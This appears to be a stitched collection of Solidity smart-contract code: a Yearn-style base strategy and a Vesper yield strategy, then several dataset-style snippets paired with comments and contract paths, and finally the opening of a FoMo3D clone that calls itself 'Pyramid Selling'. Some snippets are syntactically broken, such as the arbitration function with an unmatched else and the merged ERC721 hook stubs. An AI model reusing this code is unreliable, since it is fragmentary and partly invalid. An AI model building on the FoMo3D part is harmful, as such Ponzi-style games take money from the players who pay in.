"!authorized"); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public virtual view returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit - _loss`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCost The keeper's estimated cast cost to call `tend()`. * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCost) public virtual view returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCost` must be priced in terms of `want`. * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/master/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCost The keeper's estimated cast cost to call `harvest()`. * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCost) public virtual view returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 totalAssets = estimatedTotalAssets(); // NOTE: use the larger of total assets or debt outstanding to book losses properly (debtPayment, loss) = liquidatePosition(totalAssets > debtOutstanding ? totalAssets : debtOutstanding); // NOTE: take up any remainder here as profit if (debtPayment > debtOutstanding) { profit = debtPayment.sub(debtOutstanding); debtPayment = debtOutstanding; } } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by governance or the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault) || msg.sender == governance()); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } */ function protectedTokens() internal virtual view returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // File: StrategyVesper.sol contract StrategyVesper is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Vesper contracts: https://docs.vesper.finance/vesper-grow-pools/vesper-grow/audits#vesper-pool-contracts // Vesper vault strategies: https://medium.com/vesperfinance/vesper-grow-strategies-today-and-tomorrow-8bd7b907ba5 address public wantPool; address public poolRewards; address public vsp; address public uniRouter; address public sushiRouter; address public activeDex; uint256 public minToSell; bool public harvestPoolProfits; bool public isOriginal = true; address public constant weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); uint256 public constant DENOMINATOR = 1e30; constructor( address _vault, address _wantPool, address _poolRewards, address _vsp, address _uniRouter, address _sushiRouter, uint256 _minToSell, bool _harvestPoolProfits ) public BaseStrategy(_vault) { _initializeThis( _wantPool, _poolRewards, _vsp, _uniRouter, _sushiRouter, _minToSell, _harvestPoolProfits ); } function _initializeThis( address _wantPool, address _poolRewards, address _vsp, address _uniRouter, address _sushiRouter, uint256 _minToSell, bool _harvestPoolProfits ) internal { require( address(wantPool) == address(0), "VesperStrategy already initialized" ); wantPool = _wantPool; poolRewards = _poolRewards; vsp = _vsp; uniRouter = _uniRouter; sushiRouter = _sushiRouter; activeDex = _sushiRouter; minToSell = _minToSell; harvestPoolProfits = _harvestPoolProfits; IERC20(vsp).approve(sushiRouter, uint256(-1)); IERC20(vsp).approve(uniRouter, uint256(-1)); IERC20(want).approve(_wantPool, uint256(-1)); } function _initialize( address _vault, address _strategist, address _rewards, address _keeper, address _wantPool, address _poolRewards, address _vsp, address _uniRouter, address _sushiRouter, uint256 _minToSell, bool _harvestPoolProfits ) internal { // Parent initialize contains the double initialize check super._initialize(_vault, _strategist, _rewards, _keeper); _initializeThis( _wantPool, _poolRewards, _vsp, _uniRouter, _sushiRouter, _minToSell, _harvestPoolProfits ); } function initialize( address _vault, address _strategist, address _rewards, address _keeper, address _wantPool, address _poolRewards, address _vsp, address _uniRouter, address _sushiRouter, uint256 _minToSell, bool _harvestPoolProfits ) external { _initialize( _vault, _strategist, _rewards, _keeper, _wantPool, _poolRewards, _vsp, _uniRouter, _sushiRouter, _minToSell, _harvestPoolProfits ); } function cloneVesper( address _vault, address _strategist, address _rewards, address _keeper, address _wantPool, address _poolRewards, address _vsp, address _uniRouter, address _sushiRouter, uint256 _minToSell, bool _harvestPoolProfits ) external returns (address newStrategy) { require(isOriginal, "Clone inception!"); // Copied from https://github.com/optionality/clone-factory/blob/master/contracts/CloneFactory.sol bytes20 addressBytes = bytes20(address(this)); assembly { // EIP-1167 bytecode let clone_code := mload(0x40) mstore( clone_code, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000 ) mstore(add(clone_code, 0x14), addressBytes) mstore( add(clone_code, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000 ) newStrategy := create(0, clone_code, 0x37) } StrategyVesper(newStrategy).initialize( _vault, _strategist, _rewards, _keeper, _wantPool, _poolRewards, _vsp, _uniRouter, _sushiRouter, _minToSell, _harvestPoolProfits ); } function name() external view override returns (string memory) { return string( abi.encodePacked("Vesper ", IName(address(want)).name()) ); } function estimatedTotalAssets() public view override returns (uint256) { uint256 totalWant = 0; // Calculate VSP holdings uint256 totalVSP = IERC20(vsp).balanceOf(address(this)); totalVSP = totalVSP.add(IPoolRewards(poolRewards).claimable(address(this))); if(totalVSP > 0){ totalWant = totalWant.add(convertVspToWant(totalVSP)); } // Calculate want totalWant = totalWant.add(want.balanceOf(address(this))); return totalWant.add(calcWantHeldInVesper()); } function calcWantHeldInVesper() internal view returns (uint256 wantBalance) { wantBalance = 0; uint256 shares = IVesperPool(wantPool).balanceOf(address(this)); if(shares > 0){ uint256 pps = morePrecisePricePerShare(); uint256 withdrawableWant = convertTo18(pps.mul(shares)).div(DENOMINATOR); wantBalance = wantBalance.add(convertFrom18(withdrawableWant)); } } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { _debtPayment = _debtOutstanding; // default is to pay the full debt // Here we begin doing stuff to make our profits uint256 claimable = IPoolRewards(poolRewards).claimable(address(this)); if(claimable > 0){ IPoolRewards(poolRewards).claimReward(address(this)); } uint256 vspBal = IERC20(vsp).balanceOf(address(this)); if(vspBal > minToSell){ _sell(vspBal); } uint256 wantBalance = want.balanceOf(address(this)); uint256 inVesper = calcWantHeldInVesper(); uint256 assets = inVesper.add(wantBalance); uint256 debt = vault.strategies(address(this)).totalDebt; if(debt < assets){ // Check whether we should "unhide" profits either because strategist/gov // says so, or because vault is trying to get all it's debt back // (e.g. debtRatio was set to 0). if(harvestPoolProfits || _debtOutstanding >= debt){ _profit = assets.sub(debt); } else{ if(debt <= inVesper){ // Here we ignore pool profits and only count // profits from VSP farming. This is intentional and is done // to help make harvests much cheaper. // as we won't have to free up pool profits // each time and suffer the Vesper withdrawalFee. // Pool APR is very small compared to VSP rewards. _profit = wantBalance; } else{ // Edge case where we've lost small money in the pool, // but at overall profit when rewards are added. Here we // effectively only recognize partial amount of thhe rewards as // profit and leave the rest available to re-invest or pay debt. _profit = assets.sub(debt); } } } else{ // This is bad, would imply strategy is net negative _loss = debt.sub(assets); } // We want to free up enough to pay profits + debt uint256 toFree = _debtOutstanding.add(_profit); if(toFree > wantBalance){ toFree = toFree.sub(wantBalance); (uint256 liquidatedAmount, uint256 withdrawalLoss) = withdrawSome(toFree); wantBalance = wantBalance.add(liquidatedAmount); if(withdrawalLoss < _profit){ _profit = _profit.sub(withdrawalLoss); _debtPayment = wantBalance.sub(_profit); } else{ _loss = _loss.add(withdrawalLoss.sub(_profit)); _profit = 0; _debtPayment = want.balanceOf(address(this)); } } } function withdrawSome(uint256 _amount) internal returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 wantBalanceBefore = want.balanceOf(address(this)); uint256 vaultBalance = IERC20(wantPool).balanceOf(address(this)); // Vesper pool shares if(vaultBalance > 1){ // 1 not 0 because of possible rounding errors // Convert amount to Vesper shares. uint256 sharesToWithdraw = _amount .mul(DENOMINATOR) .div(morePrecisePricePerShare()); sharesToWithdraw = Math.min(sharesToWithdraw, vaultBalance); IVesperPool(wantPool).withdraw(sharesToWithdraw); } uint256 withdrawnAmount = want.balanceOf(address(this)).sub(wantBalanceBefore); if(withdrawnAmount >= _amount){ _liquidatedAmount = _amount; } else{ _liquidatedAmount = withdrawnAmount; _loss = _amount.sub(withdrawnAmount); } } function adjustPosition(uint256 _debtOutstanding) internal override { if (emergencyExit) { return; } uint256 wantBal = want.balanceOf(address(this)); // In case we need to return want to the vault if (_debtOutstanding > wantBal) { return; } // Invest available want uint256 _wantAvailable = wantBal.sub(_debtOutstanding); if (_wantAvailable > 0) { IVesperPool(wantPool).deposit(_wantAvailable); } } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 wantBal = want.balanceOf(address(this)); if (_amountNeeded > wantBal) { // Need more want to meet request. (, _loss) = withdrawSome(_amountNeeded.sub(wantBal)); } _liquidatedAmount = Math.min(_amountNeeded, want.balanceOf(address(this))); } function _sell(uint256 _amount) internal { bool is_weth = address(want) == weth; address[] memory path = new address[](is_weth ? 2 : 3); path[0] = address(vsp); path[1] = weth; if (!is_weth) { path[2] = address(want); } IUniswapV2Router(activeDex) .swapExactTokensForTokens(_amount, 0, path, address(this), now); } function prepareMigration(address _newStrategy) internal override { // Send all token balances to new strategy. // Want is taken care of in baseStrategy. // Intentionally not claiming rewards here to minimize chances // that this function reverts. uint256 vTokenBalance = IERC20(wantPool).balanceOf(address(this)); uint256 vspBalance = IERC20(vsp).balanceOf(address(this)); if(vTokenBalance > 0){ IERC20(wantPool).transfer(_newStrategy, vTokenBalance); } if(vspBalance > 0){ IERC20(vsp).transfer(_newStrategy, vspBalance); } } function convertVspToWant(uint256 _amount) internal view returns (uint256) { bool is_weth = address(want) == weth; address[] memory path = new address[](is_weth ? 2 : 3); path[0] = address(vsp); if (is_weth) { path[1] = weth; } else { path[1] = weth; path[2] = address(want); } return IUniswapV2Router(activeDex).getAmountsOut(_amount, path)[path.length - 1]; } function convertFrom18(uint256 _value) public view returns (uint256) { uint vaultDecimals = vault.decimals(); if (vaultDecimals == 18) { return _value; } uint diff = 18 - vaultDecimals; return _value.div(10**diff); } function convertTo18(uint256 _value) public view returns (uint256) { uint vaultDecimals = vault.decimals(); if (vaultDecimals == 18) { return _value; } uint diff = 18 - vault.decimals(); return _value.mul(10**diff); } function toggleActiveDex() external onlyAuthorized { if(activeDex == sushiRouter){ activeDex = uniRouter; } else{ activeDex = sushiRouter; } } function toggleHarvestPoolProfits() external onlyAuthorized { harvestPoolProfits = !harvestPoolProfits; } function setMinToSell(uint256 _minToSell) external onlyAuthorized { require(_minToSell < 1e20, "!tooBig"); require(_minToSell > 1e14, "!tooSmall"); minToSell = _minToSell; } function protectedTokens() internal view override returns (address[] memory) { address[] memory protected = new address[](2); protected[0] = vsp; protected[1] = wantPool; return protected; } function morePrecisePricePerShare() public view returns (uint256) { // We do this because Vesper's contract gives us a not-very-precise pps return IVesperPool(wantPool) .totalValue().mul(DENOMINATOR) // denominated 1e8 .div(IVesperPool(wantPool).totalSupply()); } }
Calculate VSP holdings
function estimatedTotalAssets() public view override returns (uint256) { uint256 totalWant = 0; uint256 totalVSP = IERC20(vsp).balanceOf(address(this)); totalVSP = totalVSP.add(IPoolRewards(poolRewards).claimable(address(this))); if(totalVSP > 0){ totalWant = totalWant.add(convertVspToWant(totalVSP)); } return totalWant.add(calcWantHeldInVesper()); }
10,693,416
./partial_match/4/0xA4eE9834cD519229b2a2a5bcD01F48e8afAEBAb3/sources/ArbOne.sol
第1轮仲裁第一个投票的时间为仲裁启动时间 必须在投票周期内完成仲裁,过时自动放弃投票需要同时满足的条件:@仲裁编号在前"peg"内 或 持有特殊的NFT@保证金没被锁定@保证金余额大于商家缴纳的保证金如果仲裁员的保证金低于最低要求,则从合格仲裁员名单中移出用户邀请的仲裁员投票,只能投一票 @ara==1 判给用户 , @ara==2 判给商家, @ara==3 进入第二轮仲裁
function arbAsse(uint256 i,uint256 what) external { if (tima[i][what] == 0) tima[i][what] = block.timestamp; require(Tima > block.timestamp - tima[i][what], "arb1/relTime-not"); uint256 mma = user[i].mma; require((arber[msg.sender] <= peg || setNFT(msg.sender)) && lock[msg.sender] == 0 && balanceMar[msg.sender] >= mma,"arb1/Insufficient-conditions"); balanceMar[msg.sender] = sub(balanceMar[msg.sender],mma); bma[i][what][msg.sender] = mma; if (balanceMar[msg.sender] < lea ) cover(arber[msg.sender]); if ( can[i][what][msg.sender] == user[i].uad && (arb[i][what] == 0 || arb[i][what] == 2)) { arb[i][what] += 1; ama[i][what][0] = msg.sender; } { arb[i][what] += 2; ama[i][what][1] = msg.sender; } else revert("arb1/Invalid-arbitration"); if ( arb[i][what] ==3) { arbtwocount +=1; arbtwolist[arbtwocount] = i; }emit Asse(i,arb[i][what],msg.sender); }
8,553,314
./partial_match/1/0xe3BE0054Da2F8da5002E8bdD8AA4c7fDf851E86D/sources/ERC721CreatorMaxMint.sol
Initializes the contract by setting a `name` and a `symbol` to the token collection./
function _beforeTokenTransfer( address from, address to, uint256 tokenId, uint96 tokenData function _afterTokenTransfer( address from, address to, uint256 tokenId, uint96 tokenData } constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; }
2,680,797
./full_match/1/0x8Be0D0a733Fb2f519ADe99d6D4Ea57cff56866Cf/sources/src/SneakyGenesis/SneakyGenesis.sol
Override of ERC721A and AccessControlUpgradeable supportsInterface function interfaceId the interfaceId return bool if interfaceId is supported or not
function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlUpgradeable, ERC721AUUPSUpgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || interfaceId == type(AccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); }
9,809,906
./full_match/137/0x86d4748f07B54A6ef091de0c03f20d35A5562c67/sources/MaticRouter.sol
refund dust eth, if any
function swMaticTHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'MaticRouter: INVALID_PATH'); amounts = MaticLibrary.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'MaticRouter: EXCESSIVE_INPUT_AMOUNT'); assert(IWETH(WETH).transfer(MaticLibrary.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); }
4,728,774
pragma solidity ^0.4.24; /** * cx mode of fomo3d */ //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== contract F3Devents { // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); // fired at end of buy or reload event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); // fired whenever theres a withdraw event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); // fired whenever a withdraw forces end round to be ran event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a buy after round timer // hit zero, and causes end round to be ran. event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // (fomo3d long only) fired whenever a player tries a reload after round timer // hit zero, and causes end round to be ran. event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); // fired whenever an affiliate is paid event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); // // received pot swap deposit // event onPotSwapDeposit // ( // uint256 roundID, // uint256 amountAddedToPot // ); event onRoundEnded1 ( uint256 winrSeq, uint256 winPID, uint256 winVault ); event onRoundEnded2 ( uint256 maxEthPID, uint256 maxEthVault, uint256 maxAffPID, uint256 maxAffVault ); } //============================================================================== // _ _ _ _|_ _ _ __|_ _ _ _|_ _ . // (_(_)| | | | (_|(_ | _\(/_ | |_||_) . //====================================|========================================= contract modularLong is F3Devents {} contract FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; //god of game address constant private god = 0xe1B35fEBaB9Ff6da5b29C3A7A44eef06cD86B0f9; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xf79341b38865310e1a00d7630bd1decc92a8f8b1); //============================================================================== // _ _ _ |`. _ _ _ |_ | _ _ . // (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings) //=================_|=========================================================== string constant public name = "FM3D Pyramid Selling Heihei~"; string constant public symbol = "F3D"; uint256 private rndExtra_ = 0 minutes; // length of the very first ICO uint256 private rndGap_ = 0 minutes; // length of ICO phase, set to 1 year for EOS. uint256 constant private rndInit_ = 1 hours; // round timer starts at this uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer uint256 constant private rndMax_ = 24 hours; // max length a round timer can be 